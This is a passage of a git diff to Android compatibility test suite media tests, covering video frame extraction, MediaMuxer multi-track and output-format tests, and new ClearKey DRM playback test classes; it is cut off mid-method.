+    public void testGetFrameAtTimePreviousSync() {
+        int[][] testCases = {
+                { 2066666, 60 }, { 2500000, 60 }, { 2600000, 60 }, { 3000000, 60 }, { 3200000, 90}};
+        testGetFrameAtTime(OPTION_PREVIOUS_SYNC, testCases);
+    }
+
+    public void testGetFrameAtTimeNextSync() {
+        int[][] testCases = {
+                { 2066666, 60 }, { 2500000, 90 }, { 2600000, 90 }, { 3000000, 90 }, { 3200000, 120}};
+        testGetFrameAtTime(OPTION_NEXT_SYNC, testCases);
+    }
+
+    public void testGetFrameAtTimeClosestSync() {
+        int[][] testCases = {
+                { 2066666, 60 }, { 2500000, 60 }, { 2600000, 90 }, { 3000000, 90 }, { 3200000, 90}};
+        testGetFrameAtTime(OPTION_CLOSEST_SYNC, testCases);
+    }
+
+    public void testGetFrameAtTimeClosest() {
+        int[][] testCases = {
+                { 2066666, 60 }, { 2500001, 73 }, { 2599999, 76 }, { 3016000, 88 }, { 3184000, 94}};
+        testGetFrameAtTime(OPTION_CLOSEST, testCases);
+    }
+
+    private void testGetFrameAtTime(int option, int[][] testCases) {
+        int resId = R.raw.binary_counter_320x240_30fps_600frames;
+        MediaMetadataRetriever retriever = new MediaMetadataRetriever();
+        Resources resources = getContext().getResources();
+        AssetFileDescriptor afd = resources.openRawResourceFd(resId);
+
+        retriever.setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
+        try {
+            afd.close();
+        } catch (IOException e) {
+            fail("Unable to close file");
+        }
+        for (int[] testCase : testCases) {
+            getVideoFrameAndVerify(retriever, testCase[0], testCase[1], option);
+        }
+        retriever.release();
+    }
+
+    private void getVideoFrameAndVerify(
+            MediaMetadataRetriever retriever, long timeUs, long expectedCounter, int option) {
+        try {
+            Bitmap bitmap = retriever.getFrameAtTime(timeUs, option);
+            if (bitmap == null) {
+                fail("Failed to get bitmap at time " + timeUs + " with option " + option);
+            }
+            assertEquals("Counter value incorrect at time " + timeUs + " with option " + option,
+                    expectedCounter, CodecUtils.readBinaryCounterFromBitmap(bitmap));
+
+            if (SAVE_BITMAP_OUTPUT) {
+                CodecUtils.saveBitmapToFile(bitmap, "test" + timeUs + ".jpg");
+            }
+        } catch (Exception e) {
+            fail("Exception getting bitmap: " + e);
+        }
+    }
 }
diff --git a/tests/tests/media/src/android/media/cts/MediaMuxerTest.java b/tests/tests/media/src/android/media/cts/MediaMuxerTest.java
index 562feba..0bbbe95 100644
--- a/tests/tests/media/src/android/media/cts/MediaMuxerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaMuxerTest.java
@@ -24,6 +24,7 @@
 import android.media.MediaFormat;
 import android.media.MediaMetadataRetriever;
 import android.media.MediaMuxer;
+import android.os.ParcelFileDescriptor;
 import android.test.AndroidTestCase;
 import android.util.Log;
 
@@ -31,6 +32,7 @@
 
 import java.io.File;
 import java.io.IOException;
+import java.io.RandomAccessFile;
 import java.nio.ByteBuffer;
 import java.util.HashMap;
 
@@ -58,7 +60,39 @@
         int source = R.raw.video_176x144_3gp_h263_300kbps_25fps_aac_stereo_128kbps_11025hz;
         String outputFile = File.createTempFile("MediaMuxerTest_testAudioVideo", ".mp4")
                 .getAbsolutePath();
-        cloneAndVerify(source, outputFile, 2, 90);
+        cloneAndVerify(source, outputFile, 2, 90, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
+    }
+
+    public void testDualVideoTrack() throws Exception {
+        int source = R.raw.video_176x144_h264_408kbps_30fps_352x288_h264_122kbps_30fps;
+        String outputFile = File.createTempFile("MediaMuxerTest_testDualVideo", ".mp4")
+                .getAbsolutePath();
+        cloneAndVerify(source, outputFile, 2, 90, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
+    }
+
+    public void testDualAudioTrack() throws Exception {
+        int source = R.raw.audio_aac_mono_70kbs_44100hz_aac_mono_70kbs_44100hz;
+        String outputFile = File.createTempFile("MediaMuxerTest_testDualAudio", ".mp4")
+                .getAbsolutePath();
+        cloneAndVerify(source, outputFile, 2, 90, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
+    }
+
+    public void testDualVideoAndAudioTrack() throws Exception {
+        int source = R.raw.video_h264_30fps_video_h264_30fps_aac_44100hz_aac_44100hz;
+        String outputFile = File.createTempFile("MediaMuxerTest_testDualVideoAudio", ".mp4")
+                .getAbsolutePath();
+        cloneAndVerify(source, outputFile, 4, 90, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
+    }
+
+    /**
+     * Test: make sure the muxer handles video, audio and metadata tracks correctly.
+     */
+    public void testVideoAudioMedatadata() throws Exception {
+        int source =
+                R.raw.video_176x144_3gp_h263_300kbps_25fps_aac_stereo_128kbps_11025hz_metadata_gyro;
+        String outputFile = File.createTempFile("MediaMuxerTest_testAudioVideoMetadata", ".mp4")
+                .getAbsolutePath();
+        cloneAndVerify(source, outputFile, 3, 90, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
     }
 
     /**
@@ -68,7 +102,7 @@
         int source = R.raw.sinesweepm4a;
         String outputFile = File.createTempFile("MediaMuxerTest_testAudioOnly", ".mp4")
                 .getAbsolutePath();
-        cloneAndVerify(source, outputFile, 1, -1);
+        cloneAndVerify(source, outputFile, 1, -1, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
     }
 
     /**
@@ -78,7 +112,21 @@
         int source = R.raw.video_only_176x144_3gp_h263_25fps;
         String outputFile = File.createTempFile("MediaMuxerTest_videoOnly", ".mp4")
                 .getAbsolutePath();
-        cloneAndVerify(source, outputFile, 1, 180);
+        cloneAndVerify(source, outputFile, 1, 180, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
+    }
+
+    public void testWebmOutput() throws Exception {
+        int source = R.raw.video_480x360_webm_vp9_333kbps_25fps_vorbis_stereo_128kbps_48000hz;
+        String outputFile = File.createTempFile("testWebmOutput", ".webm")
+                .getAbsolutePath();
+        cloneAndVerify(source, outputFile, 2, 90, MediaMuxer.OutputFormat.MUXER_OUTPUT_WEBM);
+    }
+
+    public void testThreegppOutput() throws Exception {
+        int source = R.raw.video_176x144_3gp_h263_300kbps_12fps_aac_stereo_128kbps_22050hz;
+        String outputFile = File.createTempFile("testThreegppOutput", ".3gp")
+                .getAbsolutePath();
+        cloneAndVerify(source, outputFile, 2, 90, MediaMuxer.OutputFormat.MUXER_OUTPUT_3GPP);
     }
 
     /**
@@ -108,41 +156,37 @@
             muxer.release();
         }
 
-        // Throws exception b/c 2 video tracks were added.
+        // Should not throw exception when 2 video tracks were added.
         muxer = new MediaMuxer(outputFile, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
         muxer.addTrack(MediaFormat.createVideoFormat(MediaFormat.MIMETYPE_VIDEO_AVC, 480, 320));
 
         try {
             muxer.addTrack(MediaFormat.createVideoFormat(MediaFormat.MIMETYPE_VIDEO_AVC, 480, 320));
-            fail("should throw IllegalStateException.");
         } catch (IllegalStateException e) {
-            // expected
+            fail("should not throw IllegalStateException.");
         } finally {
             muxer.release();
         }
 
-        // Throws exception b/c 2 audio tracks were added.
+        // Should not throw exception when 2 audio tracks were added.
         muxer = new MediaMuxer(outputFile, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
         muxer.addTrack(MediaFormat.createAudioFormat(MediaFormat.MIMETYPE_AUDIO_AAC, 48000, 1));
         try {
             muxer.addTrack(MediaFormat.createAudioFormat(MediaFormat.MIMETYPE_AUDIO_AAC, 48000, 1));
-            fail("should throw IllegalStateException.");
         } catch (IllegalStateException e) {
-            // expected
+            fail("should not throw IllegalStateException.");
         } finally {
             muxer.release();
         }
 
-        // Throws exception b/c 3 tracks were added.
+        // Should not throw exception when 3 tracks were added.
         muxer = new MediaMuxer(outputFile, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
         muxer.addTrack(MediaFormat.createVideoFormat(MediaFormat.MIMETYPE_VIDEO_AVC, 480, 320));
         muxer.addTrack(MediaFormat.createAudioFormat(MediaFormat.MIMETYPE_AUDIO_AAC, 48000, 1));
         try {
-
             muxer.addTrack(MediaFormat.createVideoFormat(MediaFormat.MIMETYPE_VIDEO_AVC, 480, 320));
-            fail("should throw IllegalStateException.");
         } catch (IllegalStateException e) {
-            // expected
+            fail("should not throw IllegalStateException.");
         } finally {
             muxer.release();
         }
@@ -168,6 +212,46 @@
         } finally {
             muxer.release();
         }
+
+        // Test FileDescriptor Constructor expect sucess.
+        RandomAccessFile file = null;
+        try {
+            file = new RandomAccessFile(outputFile, "rws");
+            muxer = new MediaMuxer(file.getFD(), MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
+            muxer.addTrack(MediaFormat.createVideoFormat(MediaFormat.MIMETYPE_VIDEO_AVC, 480, 320));
+        } finally {
+            file.close();
+            muxer.release();
+        }
+
+        // Test FileDescriptor Constructor expect exception with read only mode.
+        RandomAccessFile file2 = null;
+        try {
+            file2 = new RandomAccessFile(outputFile, "r");
+            muxer = new MediaMuxer(file2.getFD(), MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
+            fail("should throw IOException.");
+        } catch (IOException e) {
+            // expected
+        } finally {
+            file2.close();
+            // No need to release the muxer.
+        }
+
+        // Test FileDescriptor Constructor expect NO exception with write only mode.
+        ParcelFileDescriptor out = null;
+        try {
+            out = ParcelFileDescriptor.open(new File(outputFile),
+                    ParcelFileDescriptor.MODE_WRITE_ONLY | ParcelFileDescriptor.MODE_CREATE);
+            muxer = new MediaMuxer(out.getFileDescriptor(), MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
+        } catch (IllegalArgumentException e) {
+            fail("should not throw IllegalArgumentException.");
+        } catch (IOException e) {
+            fail("should not throw IOException.");
+        } finally {
+            out.close();
+            muxer.release();
+        }
+
         new File(outputFile).delete();
     }
 
@@ -175,7 +259,7 @@
      * Using the MediaMuxer to clone a media file.
      */
     private void cloneMediaUsingMuxer(int srcMedia, String dstMediaPath,
-            int expectedTrackCount, int degrees) throws IOException {
+            int expectedTrackCount, int degrees, int fmt) throws IOException {
         // Set up MediaExtractor to read from the source.
         AssetFileDescriptor srcFd = mResources.openRawResourceFd(srcMedia);
         MediaExtractor extractor = new MediaExtractor();
@@ -187,7 +271,7 @@
 
         // Set up MediaMuxer for the destination.
         MediaMuxer muxer;
-        muxer = new MediaMuxer(dstMediaPath, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
+        muxer = new MediaMuxer(dstMediaPath, fmt);
 
         // Set up the tracks.
         HashMap<Integer, Integer> indexMap = new HashMap<Integer, Integer>(trackCount);
@@ -211,23 +295,26 @@
             muxer.setOrientationHint(degrees);
         }
 
-        // Test setLocation out of bound cases
-        try {
-            muxer.setLocation(BAD_LATITUDE, LONGITUDE);
-            fail("setLocation succeeded with bad argument: [" + BAD_LATITUDE + "," + LONGITUDE
+        if (fmt == MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4 ||
+            fmt == MediaMuxer.OutputFormat.MUXER_OUTPUT_3GPP) {
+            // Test setLocation out of bound cases
+            try {
+                muxer.setLocation(BAD_LATITUDE, LONGITUDE);
+                fail("setLocation succeeded with bad argument: [" + BAD_LATITUDE + "," + LONGITUDE
                     + "]");
-        } catch (IllegalArgumentException e) {
-            // Expected
-        }
-        try {
-            muxer.setLocation(LATITUDE, BAD_LONGITUDE);
-            fail("setLocation succeeded with bad argument: [" + LATITUDE + "," + BAD_LONGITUDE
+            } catch (IllegalArgumentException e) {
+                // Expected
+            }
+            try {
+                muxer.setLocation(LATITUDE, BAD_LONGITUDE);
+                fail("setLocation succeeded with bad argument: [" + LATITUDE + "," + BAD_LONGITUDE
                     + "]");
-        } catch (IllegalArgumentException e) {
-            // Expected
-        }
+            } catch (IllegalArgumentException e) {
+                // Expected
+            }
 
-        muxer.setLocation(LATITUDE, LONGITUDE);
+            muxer.setLocation(LATITUDE, LONGITUDE);
+        }
 
         muxer.start();
         while (!sawEOS) {
@@ -271,11 +358,15 @@
      * sure they match.
      */
     private void cloneAndVerify(int srcMedia, String outputMediaFile,
-            int expectedTrackCount, int degrees) throws IOException {
+            int expectedTrackCount, int degrees, int fmt) throws IOException {
         try {
-            cloneMediaUsingMuxer(srcMedia, outputMediaFile, expectedTrackCount, degrees);
-            verifyAttributesMatch(srcMedia, outputMediaFile, degrees);
-            verifyLocationInFile(outputMediaFile);
+            cloneMediaUsingMuxer(srcMedia, outputMediaFile, expectedTrackCount,
+                    degrees, fmt);
+            if (fmt == MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4 ||
+                    fmt == MediaMuxer.OutputFormat.MUXER_OUTPUT_3GPP) {
+                verifyAttributesMatch(srcMedia, outputMediaFile, degrees);
+                verifyLocationInFile(outputMediaFile);
+            }
             // Check the sample on 1s and 0.5s.
             verifySamplesMatch(srcMedia, outputMediaFile, 1000000);
             verifySamplesMatch(srcMedia, outputMediaFile, 500000);
diff --git a/tests/tests/media/src/android/media/cts/MediaPlayerDrmTest.java b/tests/tests/media/src/android/media/cts/MediaPlayerDrmTest.java
new file mode 100644
index 0000000..cb0feba
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaPlayerDrmTest.java
@@ -0,0 +1,192 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.cts;
+
+import android.media.cts.R;
+
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.content.res.AssetFileDescriptor;
+import android.graphics.Rect;
+import android.hardware.Camera;
+import android.media.AudioManager;
+import android.media.MediaCodec;
+import android.media.MediaDataSource;
+import android.media.MediaExtractor;
+import android.media.MediaFormat;
+import android.media.MediaMetadataRetriever;
+import android.media.MediaPlayer;
+import android.media.MediaPlayer.OnErrorListener;
+import android.media.MediaRecorder;
+import android.media.MediaTimestamp;
+import android.media.PlaybackParams;
+import android.media.SubtitleData;
+import android.media.SyncParams;
+import android.media.TimedText;
+import android.media.audiofx.AudioEffect;
+import android.media.audiofx.Visualizer;
+import android.net.Uri;
+import android.os.Environment;
+import android.os.IBinder;
+import android.os.PowerManager;
+import android.os.ServiceManager;
+import android.os.SystemClock;
+import android.support.test.filters.SmallTest;
+import android.platform.test.annotations.RequiresDevice;
+import android.util.Log;
+
+import com.android.compatibility.common.util.MediaUtils;
+
+import java.io.BufferedReader;
+import java.io.File;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.util.List;
+import java.util.StringTokenizer;
+import java.util.UUID;
+import java.util.Vector;
+import java.util.concurrent.CountDownLatch;
+
+import junit.framework.AssertionFailedError;
+
+/**
+ * Tests for the MediaPlayer API and local video/audio playback.
+ *
+ * The files in res/raw used by testLocalVideo* are (c) copyright 2008,
+ * Blender Foundation / www.bigbuckbunny.org, and are licensed under the Creative Commons
+ * Attribution 3.0 License at http://creativecommons.org/licenses/by/3.0/us/.
+ */
+@SmallTest
+@RequiresDevice
+public class MediaPlayerDrmTest extends MediaPlayerDrmTestBase {
+
+    private static final String LOG_TAG = "MediaPlayerDrmTest";
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+    }
+
+
+    //////////////////////////////////////////////////////////////////////////////////////////////
+    // Asset helpers
+
+    private static Uri getUriFromFile(String path) {
+        return Uri.fromFile(new File(getDownloadedPath(path)));
+    }
+
+    private static String getDownloadedPath(String fileName) {
+        return getDownloadedFolder() + File.separator + fileName;
+    }
+
+    private static String getDownloadedFolder() {
+        return Environment.getExternalStoragePublicDirectory(
+                Environment.DIRECTORY_DOWNLOADS).getPath();
+    }
+
+    private static final class Resolution {
+        public final boolean isHD;
+        public final int width;
+        public final int height;
+
+        public Resolution(boolean isHD, int width, int height) {
+            this.isHD = isHD;
+            this.width = width;
+            this.height = height;
+        }
+    }
+
+    private static final Resolution RES_720P  = new Resolution(true, 1280,  720);
+    private static final Resolution RES_AUDIO = new Resolution(false,   0,    0);
+
+
+    // Assets
+
+    private static final Uri CENC_AUDIO_URL = Uri.parse(
+            "http://yt-dash-mse-test.commondatastorage.googleapis.com" +
+            "/media/car_cenc-20120827-8c.mp4");
+    private static final Uri CENC_AUDIO_URL_DOWNLOADED = getUriFromFile("car_cenc-20120827-8c.mp4");
+
+    private static final Uri CENC_VIDEO_URL = Uri.parse(
+            "http://yt-dash-mse-test.commondatastorage.googleapis.com" +
+            "/media/car_cenc-20120827-88.mp4");
+    private static final Uri CENC_VIDEO_URL_DOWNLOADED = getUriFromFile("car_cenc-20120827-88.mp4");
+
+
+    // Tests
+
+    @SmallTest
+    @RequiresDevice
+    public void testCAR_CLEARKEY_AUDIO_DOWNLOADED_V0_SYNC() throws Exception {
+        download(CENC_AUDIO_URL,
+                CENC_AUDIO_URL_DOWNLOADED,
+                RES_AUDIO,
+                ModularDrmTestType.V0_SYNC_TEST);
+    }
+
+    @SmallTest
+    @RequiresDevice
+    public void testCAR_CLEARKEY_AUDIO_DOWNLOADED_V1_ASYNC() throws Exception {
+        download(CENC_AUDIO_URL,
+                CENC_AUDIO_URL_DOWNLOADED,
+                RES_AUDIO,
+                ModularDrmTestType.V1_ASYNC_TEST);
+    }
+
+    @SmallTest
+    @RequiresDevice
+    public void testCAR_CLEARKEY_AUDIO_DOWNLOADED_V2_SYNC_CONFIG() throws Exception {
+        download(CENC_AUDIO_URL,
+                CENC_AUDIO_URL_DOWNLOADED,
+                RES_AUDIO,
+                ModularDrmTestType.V2_SYNC_CONFIG_TEST);
+    }
+
+    @SmallTest
+    @RequiresDevice
+    public void testCAR_CLEARKEY_AUDIO_DOWNLOADED_V3_ASYNC_DRMPREPARED() throws Exception {
+        download(CENC_AUDIO_URL,
+                CENC_AUDIO_URL_DOWNLOADED,
+                RES_AUDIO,
+                ModularDrmTestType.V3_ASYNC_DRMPREPARED_TEST);
+    }
+
+    @SmallTest
+    @RequiresDevice
+    public void testCAR_CLEARKEY_AUDIO_DOWNLOADED_V5_ASYNC_WITH_HANDLER() throws Exception {
+        download(CENC_AUDIO_URL,
+                CENC_AUDIO_URL_DOWNLOADED,
+                RES_AUDIO,
+                ModularDrmTestType.V5_ASYNC_DRMPREPARED_TEST_WITH_HANDLER);
+    }
+
+    // helpers
+
+    private void stream(Uri uri, Resolution res, ModularDrmTestType testType) throws Exception {
+        playModularDrmVideo(uri, res.width, res.height, testType);
+    }
+
+    private void download(Uri remote, Uri local, Resolution res, ModularDrmTestType testType)
+            throws Exception {
+        playModularDrmVideoDownload(remote, local, res.width, res.height, testType);
+    }
+
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaPlayerDrmTestBase.java b/tests/tests/media/src/android/media/cts/MediaPlayerDrmTestBase.java
new file mode 100644
index 0000000..6f5a355
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaPlayerDrmTestBase.java
@@ -0,0 +1,1097 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.cts;
+
+import android.app.DownloadManager;
+import android.app.DownloadManager.Request;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.PackageManager;
+import android.content.res.AssetFileDescriptor;
+import android.content.res.Resources;
+import android.media.MediaDrm;
+import android.media.MediaPlayer;
+import android.media.MediaPlayer.DrmInfo;
+import android.media.ResourceBusyException;
+import android.media.UnsupportedSchemeException;
+import android.media.cts.MediaPlayerTestBase.Monitor;
+import android.net.Uri;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.Looper;
+import android.os.Message;
+import android.os.PersistableBundle;
+import android.os.SystemClock;
+import android.test.ActivityInstrumentationTestCase2;
+import android.util.Base64;
+import android.util.Log;
+
+import com.android.compatibility.common.util.MediaUtils;
+
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.net.HttpCookie;
+import java.net.HttpURLConnection;
+import java.net.URL;
+import java.nio.charset.Charset;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+import java.util.UUID;
+import java.util.Vector;
+import java.util.logging.Logger;
+import java.util.concurrent.atomic.AtomicBoolean;
+
+import org.json.JSONArray;
+import org.json.JSONException;
+import org.json.JSONObject;
+
+
+/**
+ * Base class for tests which use MediaPlayer to play audio or video.
+ */
+public class MediaPlayerDrmTestBase extends ActivityInstrumentationTestCase2<MediaStubActivity> {
+    private static final Logger LOG = Logger.getLogger(MediaPlayerTestBase.class.getName());
+
+    protected static final int STREAM_RETRIES = 3;
+
+    protected Monitor mOnVideoSizeChangedCalled = new Monitor();
+    protected Monitor mOnErrorCalled = new Monitor();
+
+    protected Context mContext;
+    protected Resources mResources;
+
+    protected MediaPlayer mMediaPlayer = null;
+    protected MediaStubActivity mActivity;
+
+    public MediaPlayerDrmTestBase() {
+        super(MediaStubActivity.class);
+    }
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mActivity = getActivity();
+        getInstrumentation().waitForIdleSync();
+        try {
+            runTestOnUiThread(new Runnable() {
+                public void run() {
+                    mMediaPlayer = new MediaPlayer();
+                }
+            });
+        } catch (Throwable e) {
+            e.printStackTrace();
+            fail();
+        }
+        mContext = getInstrumentation().getTargetContext();
+        mResources = mContext.getResources();
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        if (mMediaPlayer != null) {
+            mMediaPlayer.release();
+            mMediaPlayer = null;
+        }
+        mActivity = null;
+        super.tearDown();
+    }
+
+    protected void setOnErrorListener() {
+        mMediaPlayer.setOnErrorListener(new MediaPlayer.OnErrorListener() {
+            @Override
+            public boolean onError(MediaPlayer mp, int what, int extra) {
+                mOnErrorCalled.signal();
+                return false;
+            }
+        });
+    }
+
+    private static class PrepareFailedException extends Exception {}
+
+    //////////////////////////////////////////////////////////////////////////////////////////
+    // Modular DRM
+
+    private static final String TAG = "MediaPlayerDrmTestBase";
+
+    protected static final int PLAY_TIME_MS = 60 * 1000;
+    protected byte[] mKeySetId;
+    protected boolean mAudioOnly;
+
+    private static final byte[] CLEAR_KEY_CENC = {
+            (byte)0x1a, (byte)0x8a, (byte)0x20, (byte)0x95,
+            (byte)0xe4, (byte)0xde, (byte)0xb2, (byte)0xd2,
+            (byte)0x9e, (byte)0xc8, (byte)0x16, (byte)0xac,
+            (byte)0x7b, (byte)0xae, (byte)0x20, (byte)0x82
+            };
+
+    private static final UUID CLEARKEY_SCHEME_UUID =
+            new UUID(0x1077efecc0b24d02L, 0xace33c1e52e2fb4bL);
+
+    final byte[] CLEARKEY_PSSH = hexStringToByteArray(
+            "0000003470737368" +  // BMFF box header (4 bytes size + 'pssh')
+            "01000000" +          // Full box header (version = 1 flags = 0)
+            "1077efecc0b24d02" +  // SystemID
+            "ace33c1e52e2fb4b" +
+            "00000001" +          // Number of key ids
+            "60061e017e477e87" +  // Key id
+            "7e57d00d1ed00d1e" +
+            "00000000"            // Size of Data, must be zero
+            );
+
+
+    protected enum ModularDrmTestType {
+        V0_SYNC_TEST,
+        V1_ASYNC_TEST,
+        V2_SYNC_CONFIG_TEST,
+        V3_ASYNC_DRMPREPARED_TEST,
+        V4_SYNC_OFFLINE_KEY,
+        V5_ASYNC_DRMPREPARED_TEST_WITH_HANDLER,
+    }
+
+    // TODO: After living on these tests for a while, we can consider grouping them based on
+    // the asset such that each asset is downloaded once and played back with multiple tests.
+    protected void playModularDrmVideoDownload(Uri uri, Uri path, int width, int height,
+            ModularDrmTestType testType) throws Exception {
+        final long DOWNLOAD_TIMEOUT_SECONDS = 600;
+        Log.i(TAG, "Downloading file:" + path);
+        MediaDownloadManager mediaDownloadManager = new MediaDownloadManager(mContext);
+        final long id = mediaDownloadManager.downloadFileWithRetries(
+                uri, path, DOWNLOAD_TIMEOUT_SECONDS, STREAM_RETRIES);
+        assertFalse("Download " + uri + " failed.", id == -1);
+        Uri file = mediaDownloadManager.getUriForDownloadedFile(id);
+        Log.i(TAG, "Downloaded file:" + path + " id:" + id + " uri:" + file);
+
+        try {
+            playModularDrmVideo(file, width, height, testType);
+        } finally {
+            mediaDownloadManager.removeFile(id);
+        }
+    }
+
+    protected void playModularDrmVideo(Uri uri, int width, int height,
+            ModularDrmTestType testType) throws Exception {
+        // Force gc for a clean start
+        System.gc();
+
+        playModularDrmVideoWithRetries(uri, width, height, PLAY_TIME_MS, testType);
+    }
+
+    protected void playModularDrmVideoWithRetries(Uri file, Integer width, Integer height,
+            int playTime, ModularDrmTestType testType) throws Exception {
+
+        // first the synchronous variation
+        boolean playedSuccessfully = false;
+        for (int i = 0; i < STREAM_RETRIES; i++) {
+            try {
+                Log.v(TAG, "playVideoWithRetries(" + testType + ") try " + i);
+                playLoadedModularDrmVideo(file, width, height, playTime, testType);
+
+                playedSuccessfully = true;
+                break;
+            } catch (PrepareFailedException e) {
+                // we can fail because of network issues, so try again
+                Log.w(TAG, "playVideoWithRetries(" + testType + ") failed on try " + i +
+                        ", trying playback again");
+                mMediaPlayer.stop();
+                mMediaPlayer.reset();
+            }
+        }
+        assertTrue("Stream did not play successfully after all attempts (syncDrmSetup)",
+                playedSuccessfully);
+    }
+
+    /**
+     * Play a video which has already been loaded with setDataSource().
+     * The DRM setup is performed synchronously.
+     *
+     * @param file data source
+     * @param width width of the video to verify, or null to skip verification
+     * @param height height of the video to verify, or null to skip verification
+     * @param playTime length of time to play video, or 0 to play entire video
+     * @param testType test type
+     */
+    private void playLoadedModularDrmVideo(final Uri file, final Integer width,
+            final Integer height, int playTime, ModularDrmTestType testType) throws Exception {
+
+        switch (testType) {
+            case V0_SYNC_TEST:
+            case V1_ASYNC_TEST:
+            case V2_SYNC_CONFIG_TEST:
+            case V3_ASYNC_DRMPREPARED_TEST:
+            case V5_ASYNC_DRMPREPARED_TEST_WITH_HANDLER:
+                playLoadedModularDrmVideo_Generic(file, width, height, playTime, testType);
+                break;
+
+            case V4_SYNC_OFFLINE_KEY:
+                playLoadedModularDrmVideo_V4_offlineKey(file, width, height, playTime);
+                break;
+        }
+    }
+
+    private void playLoadedModularDrmVideo_Generic(final Uri file, final Integer width,
+            final Integer height, int playTime, ModularDrmTestType testType) throws Exception {
+
+        final float leftVolume = 0.5f;
+        final float rightVolume = 0.5f;
+
+        mAudioOnly = (width == 0);
+
+        try {
+            Log.v(TAG, "playLoadedVideo: setDataSource()");
+            mMediaPlayer.setDataSource(mContext, file);
+        } catch (IOException e) {
+            e.printStackTrace();
+            throw new PrepareFailedException();
+        }
+
+        mMediaPlayer.setDisplay(mActivity.getSurfaceHolder());
+        mMediaPlayer.setScreenOnWhilePlaying(true);
+        mMediaPlayer.setOnVideoSizeChangedListener(new MediaPlayer.OnVideoSizeChangedListener() {
+            @Override
+            public void onVideoSizeChanged(MediaPlayer mp, int w, int h) {
+                Log.v(TAG, "VideoSizeChanged" + " w:" + w + " h:" + h);
+                mOnVideoSizeChangedCalled.signal();
+            }
+        });
+        mMediaPlayer.setOnErrorListener(new MediaPlayer.OnErrorListener() {
+            @Override
+            public boolean onError(MediaPlayer mp, int what, int extra) {
+                fail("Media player had error " + what + " playing video");
+                return true;
+            }
+        });
+
+        try {
+            switch (testType) {
+            case V0_SYNC_TEST:
+                preparePlayerAndDrm_V0_syncDrmSetup();
+                break;
+
+            case V1_ASYNC_TEST:
+                preparePlayerAndDrm_V1_asyncDrmSetup();
+                break;
+
+            case V2_SYNC_CONFIG_TEST:
+                preparePlayerAndDrm_V2_syncDrmSetupPlusConfig();
+                break;
+
+            case V3_ASYNC_DRMPREPARED_TEST:
+                preparePlayerAndDrm_V3_asyncDrmSetupPlusDrmPreparedListener();
+                break;
+
+            case V5_ASYNC_DRMPREPARED_TEST_WITH_HANDLER:
+                preparePlayerAndDrm_V5_asyncDrmSetupWithHandler();
+                break;
+            }
+
+        } catch (IOException e) {
+            e.printStackTrace();
+            throw new PrepareFailedException();
+        }
+
+
+        final Monitor playbackCompleted = new Monitor();
+        mMediaPlayer.setOnCompletionListener(new MediaPlayer.OnCompletionListener() {
+            @Override
+            public void onCompletion(MediaPlayer mp) {
+                Log.v(TAG, "playLoadedVideo: onCompletion");
+                playbackCompleted.signal();
+            }
+        });
+
+        Log.v(TAG, "playLoadedVideo: start()");
+        mMediaPlayer.start();
+        if (!mAudioOnly) {
+            mOnVideoSizeChangedCalled.waitForSignal();
+        }
+        mMediaPlayer.setVolume(leftVolume, rightVolume);
+
+        // waiting to complete
+        if (playTime == 0) {
+            Log.v(TAG, "playLoadedVideo: waiting for playback completion");
+            playbackCompleted.waitForSignal();
+        } else {
+            Log.v(TAG, "playLoadedVideo: waiting while playing for " + playTime);
+            playbackCompleted.waitForSignal(playTime);
+        }
+
+        Log.v(TAG, "playLoadedVideo: stopping");
+        mMediaPlayer.stop();
+        Log.v(TAG, "playLoadedVideo: stopped");
+
+        try {
